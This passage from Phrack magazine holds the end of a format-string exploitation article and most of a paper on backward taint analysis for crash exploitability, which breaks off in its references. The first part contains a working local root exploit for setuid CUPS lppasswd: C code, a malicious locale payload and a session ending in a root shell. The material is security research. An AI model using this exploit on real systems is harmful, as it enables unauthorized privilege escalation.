fffff"` ... Trace/breakpoint trap (core dumped) %<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<% ------------[ B. The real world exploit =========================================================================== =========================================================================== =========================================================================== CUPS locale() vulnerability. Ronald Volgers noticed that lppasswd used user-specified locales. A few distributions (debian, ubuntu, fedora?) ship lppasswd setuid root. Is this awesome? yes ls -al lppasswd -rwsr-xr-x 1 root root 19144 2010-07-07 00:56 lppasswd To exploit it, you just export LOCALEDIR to a place where $LOCALEDIR/C/cups_C.po holds the format strings for the various printfs in lppasswd. This exploit turns out to be hard for a few reasons. The first, it is non interactive. That is, the format string can not be used for an info leak to bypass ASLR. The second limitation is that lppasswd creates a LOCK file, so any weaponized exploit must be highly reliable. Luckily this second one can be bypassed with resource limits. File: sploit_filz.c +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ #include #include #include #include #include int main(int argc, char *argv[]) { struct rlimit rara; int keke[4096*4]; char test[0x10000]; char *args[] = { "./lppasswd", 0 }; char *env[] = { "LOCALEDIR=./", &keke, test, 0}; int riri; int jmp = 0xbffdc66c; memset(test, 0x01, sizeof(test)); test[0x10000-1] = 0x00; for(riri = 0; riri < sizeof(keke)/sizeof(int); riri+=4){ keke[riri+0] = jmp+2; keke[riri+1] = jmp+2; keke[riri+2] = jmp; keke[riri+3] = jmp; } rara.rlim_max = rara.rlim_cur = atoi(argv[1]); setrlimit(RLIMIT_NOFILE, &rara); execve("./lppasswd",args,env); } +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ There is also one important difference between the test program and lppasswd. The vulnerability inside libcups is triggered by vsnprintf. Internally, vsnprintf creates a fake file stream pointer on the stack and then passes it to vfprintf. This is actually pretty good news in terms of bypassing ASLR as the file stream pointer is a fixed offset from the format string structures, which glibc allocates on the stack. The vulnerable function in libcups follows. File: cups/cups/langprintf.c +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ int /* O - Number of bytes written */ _cupsLangPrintf(FILE *fp, /* I - File to write to */ const char *message, /* I - Message string to use */ ...) /* I - Additional arguments as needed */ { ... va_start(ap, message); vsnprintf(buffer, sizeof(buffer), _cupsLangString(cg->lang_default, message), ap); va_end(ap); .. } +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ With ASLR disabled, the best option is to go after the return address. In the callstack for vfprintf: %<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<% Breakpoint 1, _IO_vfprintf_internal (s=0xbffdc68c, format=0x1187a0 "chown root:root /tmp/sh; chmod 4755 /tmp/sh; %49150u %7352$hx %49150u %7353$hx %14263u %7352$hn %27249u %7353$hn %1$*14951$x %1$*14620$x %1073741824$", ap=0xbffdefe8 "\243>\344\267-\021\021") at vfprintf.c:210 210 in vfprintf.c (gdb) bt #0 _IO_vfprintf_internal (s=0xbffdc68c, format=0x1187a0 "chown root:root /tmp/sh; chmod 4755 /tmp/sh; ... #1 0xb7df2bf4 in ___vsnprintf_chk (s=0xbffde7bc "", maxlen=2048, flags=1, slen=2048, format=0x1187a0 "chown root:root /tmp/sh; chmod 4755 /tmp/sh; .... #2 0xb7f96544 in vsnprintf (fp=0xb7e68580, message=0x1117c5 "lppasswd: Unable to open password file: %s\n") at /usr/include/bits/stdio2.h:78 #3 _cupsLangPrintf (fp=0xb7e68580, message=0x1117c5 "lppasswd: Unable to open password file: %s\n") at langprintf.c:125 #4 0x0011116a in main (argc=1, argv=0xbffdfee4) at lppasswd.c:316 (gdb) %<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<% The second return address lends itself very well to exploitation. The 2nd parameter points to user input. This is highly useful when overwriting the saved return address. The address can be pointed to &system or __libc_system or do_system, and the old 2nd argument will become the argument to system. Above in the resource limit setting code, the enivornment is filled with pointers to that return address:: int jmp = 0xbffdc66c; keke[riri+0] = jmp+2; keke[riri+1] = jmp+2; keke[riri+2] = jmp; keke[riri+3] = jmp; NX Bypass: C/cups_C.po +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ msgid "lppasswd: Unable to open password file: %s\n" msgstr "chown root:root /tmp/sh; chmod 4755 /tmp/sh; %49150u %7352$hx %49150u \ %7353$hx %14263u %7352$hn %27249u %7353$hn %1$*14951$x %1$*14620$x %1073741824$" +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ The first part executes a command. The next 4 arguments were padding but removing them would have required some recalculations. These two writes redirect control flow to system by overwriting the least and most significant half-words of the saved return address. %14263u %7352$hn %27249u %7353$hn And the last part is used to bypass FORTIFY_SOURCE: %1$*14951$x %1$*14620$x %1073741824$. Overall, things are pretty hairy, but they work with some massaging. captain@planet:~/research/fmt/cups-1.4.2/systemv$ ls -l lppasswd -rwsr-xr-x 1 root root 18867 2010-06-06 01:26 lppasswd captain@planet:~/research/fmt/cups-1.4.2/systemv$ ls -al /tmp/sh ls: cannot access /tmp/sh: No such file or directory captain@planet:~/research/fmt/cups-1.4.2/systemv$ cp /bin/bash /tmp/sh captain@planet:~/research/fmt/cups-1.4.2/systemv$ gcc -o sf sploit_filz.c sploit_filz.c: In function ?main?: sploit_filz.c:13: warning: initialization from incompatible pointer type sploit_filz.c:20: warning: incompatible implicit declaration of built-in function ?memset? captain@planet:~/research/fmt/cups-1.4.2/systemv$ ./sf 4 Enter old password: Enter password: Enter password again: sh: %49150u: not found Segmentation fault captain@planet:~/research/fmt/cups-1.4.2/systemv$ ls -al /tmp/sh -rwsr-xr-x 1 root root 818232 2010-07-07 01:26 /tmp/sh captain@planet:~/research/fmt/cups-1.4.2/systemv$ /tmp/sh -p sh-4.1# id uid=1337(captain) gid=1337(captain) euid=0(root) groups=4(adm),20(dialout),24(cdrom),29(audio),30(dip),44(video),46(plugdev) ,104(lpadmin),112(netdev),115(admin),118(pulse-access),120(sambashare), 1000(captain) ------------[ C. TODO- ASLR The author has failed to make an ultra reliable exploit for defeating both ALSR and an NX stack. Part of what makes it difficult is all of the moving parts. In this case ASLR makes things hairy for two reasons. Both the stack and libc (and the text) are shifting. They are randomly offset from each other. In the above exploit, two values need to be known. The first is the location of the saved return address. The second is the address of glibc. By applying the resource limits, it is still possible to brute force this vulnerability, but it requires patience with 24-bits of entropy. Anyway, the following two methods have been attempted. 1) Copy (read+write) primitive using width arguments. The width argument can be used to read a value from memory and write it somewhere. %1$*100$u will read the 100th argument's value, and write that many spaces. This is presumably the reason why %n was introduced in the first place. The copy would look like this: %1$*100$u %2$101$n Author's Verdict: Too hairy The copy write primitive does not seem to work reliably under the fortify source loss of state. Exact reasons have not been yet determined, and a way to stabilize them may exist. In addition, once a copy operation is performed, the internal printf counter must be reset by writing a value numerous times. The easiest way to do this would be to print out the same value '256' times and reduce write width to one-character at a time. Writing the same value '256' times ensures that the lowest byte of the internal counter will be 0. 2) Repurpose double stack pointers For lppasswd, stack double-pointers exist that can be repurposed. For %n to work, a pointer is needed. The idea behind this avenue is to use the first pointer to redirect the second pointer to the return address. Author's verdict: Using the pointers is reliable, but ASLR has enough entropy in the the correct offset to the return address is unreliable. The best acheivement was 24-bits of entropy, 12-bits for the return address and 12-bits for &system. Only one exploit seemed to work, and the author was unable to reproduce even after a night of testing. =========================================================================== ------[ 4. Afterword It is the author's opinion that it is quite amazing vfprintf even compiles in the first place. Briefly, it should be noted that there are more angles of attack in the vfprintf code that are a bit more complicated. Although quite messy. Here is one example, if a target is using the deprecated features of vfprintf to register their own format string specifiers, an attacker can get arbitrary code execution without needing %n. Execution without %n may even be possible with the jump table implementations... This article is dedicated to runixd and beist, the top scoring two of the first three loller skaterz. Mad greetz to the even better lollerskaterz dropping from rofl copters. Surf the chaos dudes! Many thanks to the phrack staff for their help. And also real hackers who make me blush. Thanks for reading. Have phun! [0] http://msdn.microsoft.com/en-us/library/ms175782.aspx [1] http://www.securityfocus.com/bid/1634 [2] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0393 [3] http://www.phrack.org/issues.html?issue=59&id=7&mode=txt [4] http://www.phrack.org/issues.html?issue=63&id=14 [5] http://althing.cs.dartmouth.edu/local/formats-teso.html [6] http://www.loko.nu/formatstring/format_string.htm --------[ EOF ===Phrack Inc.== Volume 0x0e, Issue 0x43, Phile #0x0a of 0x10 |=----------------------------------------------------------------------=| |=-------=[ Dynamic Program Analysis and Software Exploitation ]=-------=| |=---------------=[ From the crash to the exploit code ]=---------------=| |=----------------------------------------------------------------------=| |=----------------------------------------------------------------------=| |=---------------=[ By BSDaemon ]=---------=| |=---------------=[ ]=---------=| |=----------------------------------------------------------------------=| |=-------------------------=[ August 14 2010 ]=------------------------=| |=----------------------------------------------------------------------=| "Don't matter what do you beleive happens when someone dies, the life always continues through the others who remember." Md. Sergio da Silva Branco Beloved father and my hero. God bless you! ------[ Index 0 - Abstract 0.1 - Keywords 1 - Introduction 1.1 - Paper structure 2 - Concepts and Additions 2.1 - Taint Analysis 2.1.1 - Taint Sources 2.1.2 - Intermediate Languages and Tainted Sources 2.1.3 - Explosion of watched data 2.2 - Backward Taint Analysis 2.2.1 - From the crash to the exploit 3 - Existent solutions and comparisions 4 - Future and other uses 5 - Acknowledgements 6 - References 7 - Sources ------[ 0 - Abstract This article provides a compilation of the state of the art in program analysis, a real implementation based on an extension to the Microsoft Debugger for tracing and a GUI application to actually do such analysis and help determine not just if something is exploitable, but actually to guide you in such exploitation process. It uses backward taint analysis to map from the crash back to the original data and define what part of the data crashed the application, and how such data was transformed during the execution. It does not discuss how to create a Microsoft Debugger extension, and is not even going to citate anything related to that. It is all about software exploitation, so I completely ignore other motivations for program analysis (although I know those motivations are really important too). A deep understanding of software exploitation is required in order to really take advantage of such tool. ------[ 0.1 - Keywords Dynamic Analysis, Taint Analysis, Data Flow, Intermediate Language, Reverse Engineering, Software Exploitation. ------[ 1 - Introduction Program Analysis is a hot topic. Many people are discussing this subject even more given the amazing numbers of crashes the fuzzers are finding nowadays [1] [2]. This article uses program analysis as the way of making a computational system reason automatically (or at least with little human assistance) about the behavior of a program and draw conclusions that are somehow useful. In a world where thousands of crashes do exist and are easily found in very important softwares, the classification of exploitability of such bugs is the first priority. It is known that it is impossible (or inviable or nobody wants to, or whatever other excuse you find to not fix your software) to fix all the bugs such fuzzers are finding, so, at least, companies want to fix (or exploit) the ones that are exploitables. The problem is that the only available solution to analyze such crashes are provided by Microsoft (named !exploitable or bang exploitable) [3][4] and are not really useful to create actual exploits or to better understand the problem, but just to give a static classification (exploitable, probably exploitable, not exploitable or unknown). Even people with source code access are sometimes relying on such tools to determine the exploitability of a given path (sometimes it is easier to analyze a bug without getting into the messy code structure). Taint Analysis concepts and challenges are going to be explained in order to determine what is being done by the proposed solution and to provide a better idea of future and areas of improvements. ---[ 1.1 - Paper structure In Chapter 2 I discuss about the concepts needed in the solution, like what is program flow analysis, taint analysis, what are the taint sources that can be used and how to map between the assembly code and the taint places in order to propagate the taint. Also in this chapter I talk about the explosion of watched data when you are tainting from the beginning of the execution and why backward taint analysis is the solution for this problem. Chapter 3 compares the provided solution with the Microsoft !exploitable software. Chapter 4 defines the future of this area and some expected improvements in the future. Chapter 5 is the acknowledgements to everybody who contributed directly or indirectly to this article. Chapter 6 includes the references and some additional references (not directly cited in the article, but very useful to learn more) and, finally, Chapter 7 is the most juicy part and includes all the sources for two different projects (the Microsoft Debugger extension which is the main focus of this article and a HeapMonitor for Linux-ARM that I also comment in this paper). ------[ 2 - Concepts and Additions This is the core of the article and will give the state-of-the-art in program analysis focusing in software exploitation. Here I discuss all the challenges in this area and all the concepts needed in order to understand the attached code (Section 7). Vulnerability exploitation experience is not required to understand this particular section. Vulnerability exploitation experience is mandatory to actually use the offered solution, since the implementation only helps the analysis process and does so automating the process of validation of what the attacker control that influences a crash and what are the code traces to get to the crash point. ---[ 2.1 - Taint Analysis Taint Analysis is one kind of program flow analysis and the idea behind such analysis of a program flow in the context of this article is to define the influence of external data over the analyzed application. Since the information flows, or as usually said, is copied to or influences other data, there is a need to follow this influence in order to determine the control over specific data (registers, memory locations). This is a requirement to later determine the exploitability. To follow the information flow, I need to keep track over all the taint sources, and propagate such tracking to influenced data. That means that when a tainted location is used in such a way that a value of other data is derived from the tainted data (like in mathematical operations, move instructions and others) I need to mark the other location as tainted as well. This is called taint propagation and is defined with the following transitive relation: - If information A is used to derive information B: A->t(B) -> Direct flow - If B is used to derive information C: B->t(C) -> Direct flow - Thus: A->t(C) -> Indirect flow These transitive steps between operations are called 'flows' and can be analyzed one by one or in a block (like in the example above, A->t(C)). A location is defined as: - A memory address and size - A register name (for the implementation a register is considered entirely, not making differences regarding %eax and %al for example). This means that, when defining a register, I set it higher (e.g: setting %al as tainted will also taint %eax) and clearing will clear it lower. Care must be taken, since when defining %al, %ah is not set. To keep track over bit operations in a register, it is important to taint the code-block level of a control flow graph [5]. This adds extra complexity, since there is the flow graph and the data flow dependencies graph. The dependencies graph represents the influence of a source data to the operation been performed. In the implementation provided with this article, the WinDBG extension will normalize the operations, saving the used values for later inspection by the GUI application. This provides a great view over the tainted data. ---[ 2.1.1 - Taint Sources Any information that is considered untrusted is tainted. Untrusted, for the scope of this article, is the information considered in control of the attacker. There is also a transitive relation when dealing with tainted data, where any untainted data that receives values from tainted source, becomes tainted. This includes information received from the network, or readed from the disk (in case of client-side exploits, for example). The more tainted information, the bigger the propagation and the required resources in order to keep track of that. In fuzzing situations, where taint data is used to feedback the program behavior, even server-side configurations can be marked as tainted (in order to avoid the need to test server software with multiple different configurations [22]). Tainted information is just deleted when it receives an assignment from an untainted source or and assignment from a taint source resulting in a constant value not controlled by the attacker. Most instructions in a program will not untaint the data, thus usually the number of tainted data grows during the program analysis. The example above is an explicit flow, since the defined value will receive the used tainted value independently of any conditions. When there are conditions for the flow, this is called an implicit flow, like in the following example: if (x == 1) y=0; As I'll analyze in section 2.2, conditional statements needs a special analysis approach, and in the offered tool this is done in the analysis part (the WinDBG extension). Two special situations to track are partial tainting (when the untrusted source doesn't completely control the tainted data) and tainting merge (when there are two different untrusted sources being used to derive some data). In a merge, the result is tainted. A data area is 'used' when it is referenced by an operation and is 'defined' when the data is modified. Instructions that are pure assignments are easy to track, since if a tainted location is used to define another location, this new location will also be tainted. Operations over strings are tainted when: - They are used to calculate string sizes using a tainted location E.g: a = strlen(tainted(string)); Since string is tainted, I assume the attacker also controls the value of a. - Search for some specific char using a tainted location, defining a flag if found or not found. E.g.: pointer = strchr(tainted(string), some_char); if (pointer) flag=1; Since the string is tainted, I assume the attacker also partially controls the flag. The same happens if the attacker controls the some_char value. Arithmetical instructions with at least one used tainted data usually define tainted results, since the attacker at least partially controls the result. Those instructions can be simplified using intermediate languages to map to boolean operations, and then the following rules applies: Or truth table: X Y X or Y 0 0 0 0 1 1 1 0 1 1 1 1 And truth table: X Y X and Y 0 0 0 0 1 0 1 0 0 1 1 1 Xor truth table: X Y X xor Y 0 0 0 0 1 1 1 0 1 1 1 0 Assuming there is at least one used tainted data: - In the situation where I have an or operand, if the used untainted data is 1, I know that I don't define the result of the operation, so I untaint the result. If it is 0, I know that whatever value I define for the tainted data, the same value will be defined for the used target of the operation, meaning that the result is tainted. - When I have the and operation, on the other side, if the used untainted data register is 0, I know that I can't define the result, and hence I untaint the data. If the used untainted data is 1, I completely define the result, so it is tainted. - XORs have a special situation where the value is XORed with itself. This is the only case where an used tainted data will define an untainted result (0). It is also a good idea to keep track of the EFLAGS register when the attacker is able to define the value, considering it tainted (this is later used to determine the influence over flow operations). Conditional branches are taken care of in the implementation using the tracing analysis generated by the WinDBG plugin. Single-stepping is used for the tracing. WinDBG provides the disassembled opcode for the current instruction and it is parsed to keep track of the tainted data. To solve a limitation of the tool, which is to consider cases not created by the original crash data, one must analyze conditional jumps and flag registers carefully: - If the attacker can define the EFLAGS, and a jump is dependent of a flag, the attacker controls the branch decision (this is considered by !exploitable as unknown, since creates lots of different possibilities - simply controlling EIP is not enough to define exploitability, since some control over the memory location pointed by the EIP is also a requirement). Ret-into-lib depends of the controls over the arguments and ROP approaches requires multiple return control to create all the required gadgets. - control over a branch decision means tainted EIP, since the attacker at least partially controls the flow of execution - To consider the value of EIP, one must define: * The address if the jump is taken * The address of the next instruction (if the jump is not taken) * The value of the interesting flag register (0 or 1) * Then: %eip<-(address of the next instruction) + value of the flag register * (|address if the jump is taken - address of the next instruction|) The above formula permits to extend the functionality to expand the taint over code flow blocks, solving the actual limitation of defining if a specific code block is under attacker control (instead of a specific destination with the actual input that generates the crash), but also exponentially grow the complexity of keeping track. Researchers are creative and as so there are many other uses for taint analysis like identify how long sensitive data is kept in the system [6] and/or formally define a secure information flow [7]. ---[ 2.1.2 - Intermediate Languages and Tainted Sources In order to keep track of the tainted sources and propagate the taint, it is critical to have a program analysis that will understand the target program language semantics. Tools exist to implement taint analysis in high-level languages, such as C++ and Java [7][8][9], but this article focuses on straight assembly code analysis. I also recommend reading about symbolic execution [9][10] and SAT Solvers [11][12][13] since this has a close relation with the subject. The classic approach is to use an intermediate language to represent the program instructions. This improves the code quality and helps in portability. There are many good references in that area, so I'm just going to recommend some [14][15][16] and say that I use the WinDBG api directly, which is not the best approach while thinking in portability, but was the fastest to code. The WinDBG extensions are DLLs loaded by the debugger using LoadLibrary and run in the context of the debugger process. Those extensions are trusted by the debugger. The debugger tries to handle access violations, but heap corruptions in the extension itself will likely crash the debugger. All the debugger extensions can make calls to the Win32 API and to the debugger interfaces (dbgeng.dll). What is more interesting is the fact that the debugger API will try to abstract the type/version of the target, which means you can write extensions that will work on a live debugging session or in a dump file equally. The same applies for user-mode/kernel-mode targets. The two main types of extensions API for WinDBG are: - WdbgExts -> Old debugger extension interfaces has many limitations for symbol and type lookups - DbgEng -> It is the new debugger interface, which the attached project is based on. Offers interface for everything that can be performed by the debugger DbgEng extension API is exposed through the dbgeng.dll and offers the capability to create new standalone tools that call the interface. Some of the functionalities supported: - Get current thread/process information - Read/Write memory - Symbol/type lookup To call the extension functions, one need to first created the debug interface objects and then call the interface exposed by these objects. A extension using the DbgEng must export the DebugExtensionInitialize entry point, and optionally export the DebugExtensionNotify and DebugExtensionUninitialize entry points. As previously explained, the debugger will LoadLibrary() the extension dll and then will use the GetProcAddress() to find the entry point. From the attached code: HRESULT CALLBACK DebugExtensionInitialize( OUT PULONG Version, OUT PULONG Flags ) This is the mandatory entry point which will be called when the extension is loaded. This function get new debugger interfaces by calling in the code: if ((Hr = DebugCreate(__uuidof(IDebugClient)), (void **)&DebugClient)) != S_OK) ... if ((Hr = DebugClient->QueryInterface(__uuidof(IDebugControl), (void **)&DebugControl)) != S_OK) The optional: void DebugExtensionNotify( OUT ULONG Notify, OUT ULONG64 Argument ) Is called then the target is connected/disconnected and is not used in the code. The DebugExtensionUninitialize is called when the extension is unloaded and can perform cleanup routines. In the attached code: HRESULT CALLBACK vdt_trace(PDEBUG_CLIENT Client, PCSTR args) Is the debugger extension (called from the debugger using !vdt_trace). The args is the command line argument string passed to the extension. The API is very rich in getting process information and I strongly recommend the reader to have a look into the source code at this point. ---[ 2.1.3 - Explosion of Watched Data Anybody who has worked with taint propagation knows that the biggest problem is how to keep track of all the data. In this case, I need at least to: - Identify all the instructions and their operands - Define what are the source, destination and other impacted registers (some projects don't keep track of affected registers, like the comparision flags in EFLAGS [6]) - Mark all the tainted data - Understand what each instruction does It is easy to see that keeping track over all the information is quite performance-intensive, even more when decisions need to be made and followed. There are implicit and explicit operands for instructions, and it is necessary to support all the situations (otherwise, the track over some important tainted data is lost). A good example [5] is a simple push %eax operation: - Explicit operand: %eax register - Implicit operands: %esp and ss - Semantic: %esp<-%esp-4 (substraction) ss:[%esp]<-%eax (move) As explained, this is treated by the intermediate language. I need to keep track of the base memory areas, their size and the register names (keeping bitwise information - as opposed of byte-level [21] - is better to avoid false positives, but is prone to easily explode the amount of data collected). Boolean operations have a special treatment as well, since some boolean operations will provide different results when they are performed with the same data (or with fixed values), like a XOR of the same tainted data will give back untainted information (and with 0 is the same, and so on...), as explained before. Instructions over strings also needs to be tainted (many integer overflows happens from calculations of data sizes). The cases of tainting operations over strings have been explained in the section 2.1.1. Tainted data will remain for long time, also increasing the explosion problem (to delete the tracking over a data, it is required that this data receives an uncontrolled value, or is deallocated somehow). During the tracing step (explained later) the instructions complexity are simplified in order to speed-up the analysis process. Due to all the challenges faced by the taint analysis and to the lack of detailed information about source data for specific file-formats and protocols, and thus the difficulties in creating working exploits for such cases, I decided to use a different approach. Such approach is very useful when you already have a reproducible crash case and is named Backward Taint Analysis. ---[ 2.2 - Backward Taint Analysis Backward Taint Analysis is a reverse approach to the natural taint analysis flow. Basically, instead of getting all the input, mark it as tainted and track it during the program execution, what I do is to get the crash, validate what is of interest (which led to the application crash) and trace back to see if it comes from input and, if so, what modifications were performed. This avoids the explosion of tainted data, since most of the input is considered not tainted (and usually it is legitimate). To do so, the process is divided in two parts: - A trace from a good state to the crash (incrementally dumped to a file) -> Gather substantial information about the target application when it receives the input data, which is formally named 'analysis' - Analysis of the trace file -> Formally defined as 'verification' step, where the conclusive analysis is done The trace step stores some useful information, like effective addresses and data values (later used to determine what is been copied to where and how it is been affected). Note that: - This is done using a WinDBG extension - It only supports the basic x86 instructions (so, no MMX and SSE). This limits the analysis in many cases and requires extension on the supported instructions. The project is been open-sourced here, so I expect to receive patches. - Simplification of the instructions to make the next step softer To provide the simplification it is necessary to deal with many specifics, like in the instruction: - CMPXCHG r/m32, r32 -> 'Compare EAX with r/m32. If equal, ZF is set and r32 is loaded into r/m32. Else, clear ZF and load r/m32 into AL' [17] Such an instruction creates the need for conditional taints, since by controlling %eax and r32 the attacker controls r/m32 too. Alternative taints are also provided, in the form of srcdep{1,2,3}. Since the trace step generates a file to be loaded by the next step, this file will contain: - Mnemonic of the instruction - Operands - Dependences for the source operand Dependences for an operand are for example, elements of an indirectly addressed memory. This will create a tree of the dataflow, with a root in the crash instruction. The analysis step receives the address ranges that have the attacker data and then does the automatic analysis to determine the control over anything you want to know. - This is done by a standalone tool (it is in the same project file), and has a GUI! Since the dataflow is available in a tree rooted in the crash instruction, the analysis step will just search in this tree, using a BFS [18] algorithm. Let's now look at some example code: 1-) mov edi, 0x1234 ; dst=edi, src=0x1234 2-) mov eax, [0xABCD] ; dst=eax, src=ptr 0xABCD ; Note 0xABCD is evil addr 3-) lea ebx, [eax+ecx*8] ; dst=ebx, src=eax, srcdep1=ecx 4-) mov [edi], ebx ; dst=ptr 0x1234, src=ebx 5-) mov esi, [edi] ; dst=esi, src=ptr 0x1234, srcdep1=edi 6-) mov edx, [esi] ; Crash!!! The tree will look like: 6-) Where does [esi] come from? 5-) [edi] is moved to esi, where edi comes from and what does exist in [edi]? 4-) [edi] receives ebx and edi is defined in 1-) from a fixed value 3-) ebx comes from a lea instruction that uses eax and ecx 2-) eax receives a value controlled by the attacker ... ecx is out of the scope here :) ---[ 2.2.1 - From the crash to the exploit In order to compile the provided project, I use Microsoft Visual Studio 2008 for the GUI and the command line for the debugger extension (don't forget to install the debugger extension SDK [19]). To compile the applications, go to the sources directory and open the Project in Visual Studio. The GUI is compiled using the project build, the dll is compiled through the command line: - Open the DOS prompt - Execute: Cmd.exe /k C:\WinDDK\7600.16385.0\bin\setenv.bat \ C:\WinDDK\7600.16385.0\ chk WNET - Then go to the directory VDT-Tracer and execute: setpaths.cmd - On some systems you will need to open the makefile file (just open and close): edit makefile - Then, just compile: bcz - Copy the library from bin\i386\vdt-tracer.dll to your WinDBG extensions directory Attached to the article there is an Excel file for a problem discovered by accident two years ago (the problem was discovered during a Forensic Analysis by a friend of mine, who after recovering an Excel Spreadsheet noticed that Excel was crashing when trying to open it). The name of the file is FIL573.XLS. The problem was fixed more than a year ago, but it is useful to illustrate the steps taken in order to use this project. As mentioned, I'm not going to discuss the analysis step, but I'll just show how to get the tool to work... the rest is up to you! First, open excel, and attach to it using WinDBG [Figure WinDBG_Attaching_to_Excel]. Add a breakpoint in the CreateFile [Figure WinDBG_Breakpoint_CreateFile]. Start the tracing process [Figure WinDBG_Trace_VDT]. Open the crash file withing Excel [Figure Opening_Crash_File_Excel]. Using an hex editor (in my case I used the xvi32) open the file and try to locate a string that you can search in the program's memory, to determine where the file was loaded [Figure Finding_User_Input_in_Memory]. Using the searching capabilities of WinDBG, locate such string in the program's memory [Figure WinDBG_Finding_User_Input_in_Memory]. Open the trace file in the GUI [Figure VDT_Open_Trace_File] and add a taint range like in [Figure VDT_Add_Taint_Range] and [Figure VDT_Add_Taint_Range2]. Now everything is ready, and you will have the taint analysis of the instructions you are interested of, related to the range of memory you just specified. Click with the right button in any instruction [Figure VDT_Check_Taint_Of], see the Check Taint Of option [Figure VDT_Check_Taint_Of2]. It is going to offer the taint information for all applicable operands [VDT_Check_Taint_Of3]. ------[ 3 - Existent solutions and comparisions Microsoft Research released the !exploitable [3] extension for Microsoft Debugger and its source code. This is a great initiative and contributed a lot for the growing number of cooperation between researchers and the software industry (since now the vendors can at least classify the exploitability of each reported vulnerability). Although it fails in many cases to classify the exploitability, it provides a good extensibility support and is a good start point in this initiative. It is important to note as well that a good aim of the tool is to identify unique bugs, eliminating duplicated issues. A simple example of the problem of such approach is: _declspec(naked) int main() { _asm { mov eax, 0x41414141 call eax } } This is incorrectly classified as EXPLOITABLE because the tool always assumes that the attacker has control over all the input operands [Figure bangexploitablefp.jpg]. This is not the case in the example. The provided solution in this article differs from that, since instead of trying to classify the exploitability, I try to save researcher time while analyzing vulnerabilities and determining exactly that limitation: Are the input operands in control of the attacker? So, to resume, bang exploitable (!exploitable) objectives are: - Classify unique issues (crashs appearing through different code paths, machines involved in testing, and in multiple different test cases) - Quickly prioritize issues (since crashes appear in thousands, while analysis capabilities are VERY limited) - Grouping the crashes for analysis And the provided tool objective is: - Helping you to create the exploit code :) Piotr Bania released a paper about an architecture for similar analysis, providing more advanced cases called Spiderpig [20]. The Spiderpig project is not available for testing, making it impossible to create a fair comparision. In Piotr's paper, he explains the Virtual Code Integration (or Dynamic Binary Rewriting) approach. Some of the techniques used in the 'intermediate language representation' phases are also adopted in the provided tool, in a different way (there is no intermediate language, but a normalized output of the execution trace). Spiderpig has ways to solve specific conflicts in partially controlled data, creating what he named a disputable object. In those objects, parent objects are also available for analysis. After reviewing the provided algorithms in the article Spiderpig seems to be much more advanced than the provided tool, but as said, is not available. Taint Check [21] is dependent of DynamicRIO or Valgrind and is an extension to provide taint analysis in order to detect overflow conditions in tested software. It does not help in the exploit-creation phase, neither to determine the actual exploitability of an issue. It is divided in the taint-seed, taint-tracker and taint-assert, with the purpose of defining original tainted values (values comming from the network for example), track the propagation and alert about security violations respectively. Because they provide a solution for security-tests I decided to also include a heap-monitoring example tool with this article. This tool aims at solving the challenge of heap tests for embedded Linux architectures using ARM (much less advanced then the Valgrind Memcheck plugin, altought the only option for ARM as far as the author is aware). The solution provided here started when I first faced the problem of exploiting a complex client-side vulnerability, involving a very complex (and at that time closed) file format. It was later expanded when I saw the results of attacking scenarios against Word [1] and started to think how to automate the analysis in order to determine the exploitability. My initial version was integrated with a fuzzer to provide internal information and feed back the fuzzer in order to have better coverage of the critical parts of the software [22]. It was unix based and later ported to cover Solaris too, in order to exploit two vulnerabilities released by Secunia [23] in the same software where RISE Security found a vulnerability some months before. Because a good friend of mine was doing research in the same area, and had good experience with the Microsoft Debugger, we decided to integrate our implementations and create the final version provided here. I keep expanding this version since then and using in my work and personal projects. The biggest difference here is that we provide the backward Taint Analysis in order to help the exploitation process, which means we focus in determining what the attacker controls from the crash back to the input data. ------[ 4 - Future and other uses I can't foresee the future. I hope that more researchers are going to contribute with the project, helping it to grow and achieve maturity. The code needs immediate support for extended coverage of x86 instructions, speed enhancements, introduction of heuristical detection over user input (so you don't need to manually specify the memory ranges to watch). I'm sure many other uses are possible, and for sure I do expect some extensions to come. The original idea was based on Valgrind and REX intermediate language. The available version is based on Microsoft Debugger (but really tight to it due to the limited amount of time to create the project). A limitation of such approach is the fact that you need the PoC to trace the execution until the crash, and then to analyzed it backwards. If your PoC is not taking a specific execution path that gives you control over some specific memory areas, the analysis will say you don't control such memory areas. The tool does not try to find other ways to get control over areas that you need, it only provides you the information if you control or not such areas based on the executed PoC. There are other areas of interest, like heap viewing [24]. A heap view example for linux arm is also available with the article and future versions on Sourceforge [25]. Also, the integration with fuzzers [22] is an interesting approach to provide better ways to find security vulnerabilities. ------[ 5 - Acknowledgments A lot of people helped me in the long way for these researches that resulted in something interesting (at least to me) to be published, you all know who you are. The biggest thanks goes to Julio Auto, for helping me with the tools and for having the motivation to go present alone [26] while I was still fighting to get permissions to release everything in my personal name. Special tks to the Phrack Staff for the great review of the article, giving a lot of important insights about how to better structure it and giving a real value to it. I'll never ever forget to say thanks to my research team and friends at RISE Security (http://www.risesecurity.org) for always keeping me motivated studying completely new things. Conference organizers who invited me to talk about Software Exploitation, even after many people already talked about the subject they trusted that my talk was not more of the same. It's impossible to not say thanks to COSEINC, an amazing place for hackers to work and which provided me lots of motivation to keep my projects going on my free time. A big thanks goes to Check Point Software Technologies, for paying me to keep doing my hobby ;) ------[ 6 - References [1] Nagy, Ben. "Finding Microsoft Vulnerabilities by Fuzzing Binary. Files with Ruby - A New Fuzzing Framework"; Syscan 2009 [2] Miller, Charlie. "Babysitting an Army of Monkeys: An analysis of fuzzing 4 products with 5 lines of Python"; Cansecwest 2010 http://securityevaluators.com/files/slides/cmiller_CSW_2010.ppt [3] Microsoft !exploitable page http://msecdbg.codeplex.com [4] Abouchaev, Adel; Hasse, Damian; Lambert, Scott; Wroblewski, Greg. "Analyze crashes 